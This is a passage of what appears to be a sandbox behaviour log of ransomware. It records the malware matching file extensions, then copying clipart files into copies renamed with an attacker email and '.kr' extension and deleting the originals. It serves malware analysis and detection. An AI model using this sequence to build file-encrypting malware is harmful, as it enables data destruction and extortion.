(lpString1=".ppt", lpString2=".WMF") returned -1 [0199.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.037] lstrlenW (lpString=".zip") returned 4 [0199.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.037] lstrlenW (lpString=".rar") returned 4 [0199.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.037] lstrlenW (lpString=".bz2") returned 4 [0199.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.037] lstrlenW (lpString=".7z") returned 3 [0199.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.502] lstrlenW (lpString=".dbf") returned 4 [0199.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.502] lstrlenW (lpString=".1cd") returned 4 [0199.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.502] lstrlenW (lpString=".jpg") returned 4 [0199.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.502] lstrlenW (lpString=".doc") returned 4 [0199.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.502] lstrlenW (lpString=".docx") returned 5 [0199.502] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.502] lstrlenW (lpString=".pdf") returned 4 [0199.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.502] lstrlenW (lpString=".xls") returned 4 [0199.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.503] lstrlenW (lpString=".xlsx") returned 5 [0199.503] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.503] lstrlenW (lpString=".ppt") returned 4 [0199.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.503] lstrlenW (lpString=".zip") returned 4 [0199.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.503] lstrlenW (lpString=".rar") returned 4 [0199.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.503] lstrlenW (lpString=".bz2") returned 4 [0199.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.503] lstrlenW (lpString=".7z") returned 3 [0199.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.503] lstrlenW (lpString=".dbf") returned 4 [0199.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.503] lstrlenW (lpString=".1cd") returned 4 [0199.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0199.503] lstrlenW (lpString=".jpg") returned 4 [0199.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.504] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.504] lstrlenW (lpString="J0090027.WMF") returned 12 [0199.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0200.091] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=21268) returned 1 [0200.091] CloseHandle (hObject=0x3f8) returned 1 [0200.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0200.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.688] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.688] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.689] GetLastError () returned 0x0 [0200.689] ReadFile (in: hFile=0x558, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x5314, lpOverlapped=0x0) returned 1 [0200.691] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x5320, lpOverlapped=0x0) returned 1 [0200.693] ReadFile (in: hFile=0x558, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.693] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0200.693] SetEndOfFile (hFile=0x370) returned 1 [0200.693] CloseHandle (hObject=0x370) returned 1 [0200.693] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.693] SetEndOfFile (hFile=0x558) returned 1 [0200.696] CloseHandle (hObject=0x558) returned 1 [0200.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0200.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.698] lstrlenW (lpString=".doc") returned 4 [0200.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.698] lstrlenW (lpString=".docx") returned 5 [0200.698] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0200.698] lstrlenW (lpString=".pdf") returned 4 [0200.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.698] lstrlenW (lpString=".xls") returned 4 [0200.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.698] lstrlenW (lpString=".xlsx") returned 5 [0200.698] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0200.698] lstrlenW (lpString=".ppt") returned 4 [0200.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.698] lstrlenW (lpString=".zip") returned 4 [0200.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.698] lstrlenW (lpString=".rar") returned 4 [0200.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.698] lstrlenW (lpString=".bz2") returned 4 [0200.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.698] lstrlenW (lpString=".7z") returned 3 [0200.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.698] lstrlenW (lpString=".dbf") returned 4 [0200.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.698] lstrlenW (lpString=".1cd") returned 4 [0200.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.699] lstrlenW (lpString=".jpg") returned 4 [0200.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.699] lstrlenW (lpString=".doc") returned 4 [0200.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.699] lstrlenW (lpString=".docx") returned 5 [0200.699] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0200.699] lstrlenW (lpString=".pdf") returned 4 [0200.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.699] lstrlenW (lpString=".xls") returned 4 [0200.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.699] lstrlenW (lpString=".xlsx") returned 5 [0200.699] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0200.699] lstrlenW (lpString=".ppt") returned 4 [0200.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.699] lstrlenW (lpString=".zip") returned 4 [0200.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.699] lstrlenW (lpString=".rar") returned 4 [0200.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.699] lstrlenW (lpString=".bz2") returned 4 [0200.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.699] lstrlenW (lpString=".7z") returned 3 [0200.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.699] lstrlenW (lpString=".dbf") returned 4 [0200.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.700] lstrlenW (lpString=".1cd") returned 4 [0200.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0200.700] lstrlenW (lpString=".jpg") returned 4 [0200.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.700] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.700] lstrlenW (lpString="J0098497.WMF") returned 12 [0200.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.701] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4970) returned 1 [0200.701] CloseHandle (hObject=0x558) returned 1 [0200.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0200.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.702] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.702] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.703] GetLastError () returned 0x0 [0200.703] ReadFile (in: hFile=0x558, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x136a, lpOverlapped=0x0) returned 1 [0200.704] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1370, lpOverlapped=0x0) returned 1 [0200.705] ReadFile (in: hFile=0x558, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.706] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0200.706] SetEndOfFile (hFile=0x370) returned 1 [0200.706] CloseHandle (hObject=0x370) returned 1 [0200.706] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.706] SetEndOfFile (hFile=0x558) returned 1 [0200.709] CloseHandle (hObject=0x558) returned 1 [0200.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0200.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.711] lstrlenW (lpString=".doc") returned 4 [0200.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.711] lstrlenW (lpString=".docx") returned 5 [0200.711] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0200.711] lstrlenW (lpString=".pdf") returned 4 [0200.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.711] lstrlenW (lpString=".xls") returned 4 [0200.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.711] lstrlenW (lpString=".xlsx") returned 5 [0200.711] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0200.711] lstrlenW (lpString=".ppt") returned 4 [0200.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.711] lstrlenW (lpString=".zip") returned 4 [0200.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.712] lstrlenW (lpString=".rar") returned 4 [0200.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.712] lstrlenW (lpString=".bz2") returned 4 [0200.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.712] lstrlenW (lpString=".7z") returned 3 [0200.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.712] lstrlenW (lpString=".dbf") returned 4 [0200.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.712] lstrlenW (lpString=".1cd") returned 4 [0200.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.712] lstrlenW (lpString=".jpg") returned 4 [0200.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.712] lstrlenW (lpString=".doc") returned 4 [0200.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.712] lstrlenW (lpString=".docx") returned 5 [0200.712] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0200.712] lstrlenW (lpString=".pdf") returned 4 [0200.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.712] lstrlenW (lpString=".xls") returned 4 [0200.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.712] lstrlenW (lpString=".xlsx") returned 5 [0200.712] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0200.712] lstrlenW (lpString=".ppt") returned 4 [0200.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.713] lstrlenW (lpString=".zip") returned 4 [0200.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.713] lstrlenW (lpString=".rar") returned 4 [0200.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.713] lstrlenW (lpString=".bz2") returned 4 [0200.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.713] lstrlenW (lpString=".7z") returned 3 [0200.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.713] lstrlenW (lpString=".dbf") returned 4 [0200.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.713] lstrlenW (lpString=".1cd") returned 4 [0200.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0200.713] lstrlenW (lpString=".jpg") returned 4 [0200.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.713] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0200.713] lstrlenW (lpString="J0099145.JPG") returned 12 [0200.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.715] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=24759) returned 1 [0200.715] CloseHandle (hObject=0x558) returned 1 [0200.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0200.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.716] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.716] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.717] GetLastError () returned 0x0 [0200.717] ReadFile (in: hFile=0x558, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x60b7, lpOverlapped=0x0) returned 1 [0200.719] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x60c0, lpOverlapped=0x0) returned 1 [0200.721] ReadFile (in: hFile=0x558, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.721] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0200.721] SetEndOfFile (hFile=0x370) returned 1 [0200.721] CloseHandle (hObject=0x370) returned 1 [0200.721] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.721] SetEndOfFile (hFile=0x558) returned 1 [0200.763] CloseHandle (hObject=0x558) returned 1 [0200.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0200.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.956] lstrlenW (lpString=".doc") returned 4 [0200.956] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0200.956] lstrlenW (lpString=".docx") returned 5 [0200.956] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0200.956] lstrlenW (lpString=".pdf") returned 4 [0200.956] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0200.956] lstrlenW (lpString=".xls") returned 4 [0200.956] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0200.956] lstrlenW (lpString=".xlsx") returned 5 [0200.956] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0200.956] lstrlenW (lpString=".ppt") returned 4 [0200.957] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.957] lstrlenW (lpString=".zip") returned 4 [0200.957] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0200.957] lstrlenW (lpString=".rar") returned 4 [0200.957] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0200.957] lstrlenW (lpString=".bz2") returned 4 [0200.957] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0200.957] lstrlenW (lpString=".7z") returned 3 [0200.957] lstrcmpiW (lpString1=".7z", lpString2="JPG") 